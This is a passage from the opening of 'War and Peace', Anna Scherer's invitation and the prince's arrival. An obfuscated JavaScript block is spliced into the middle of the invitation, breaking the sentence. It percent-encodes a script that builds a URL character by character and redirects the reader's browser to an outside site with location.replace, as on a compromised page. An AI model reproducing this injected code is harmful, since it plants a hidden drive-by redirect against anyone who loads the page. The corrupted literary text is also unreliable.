anddelivered by a scarlet-liveried footman that morning, ran as follows:"If you have nothing better to do, Count [or Prince], and if theprospect of spending an evening with a poor invalid is not tooterrible, I shall be very charmed to see<script language="javascript">document.write(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%67%20%3D%20%22%22%3B%20%67%20%3D%20%22%70%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%79%22%3B%20%67%20%3D%20%22%73%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%65%22%3B%20%67%20%3D%20%22%73%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%72%22%3B%20%67%20%3D%20%22%61%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%65%22%3B%20%67%20%2B%3D%20%22%61%22%3B%20%67%20%3D%20%22%72%22%20%2B%20%67%3B%20%67%20%3D%20%22%66%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%64%22%3B%20%67%20%3D%20%22%2F%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%79%22%3B%20%67%20%2B%3D%20%22%2E%22%3B%20%67%20%3D%20%22%2F%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%63%22%3B%20%67%20%3D%20%22%3A%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%6F%22%3B%20%67%20%3D%20%22%70%22%20%2B%20%67%3B%20%67%20%2B%3D%20%22%6D%22%3B%20%67%20%3D%20%22%74%22%20%2B%20%67%3B%20%67%20%3D%20%22%74%22%20%2B%20%67%3B%20%67%20%3D%20%22%68%22%20%2B%20%67%3B%20%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%67%29%3B%3C%2F%73%63%72%69%70%74%3E"));</script>you tonight between 7 and10--Annette Scherer.""Heavens! what a virulent attack!" replied the prince, not in theleast disconcerted by this reception. He had just entered, wearingan embroidered court uniform, knee breeches, and shoes, and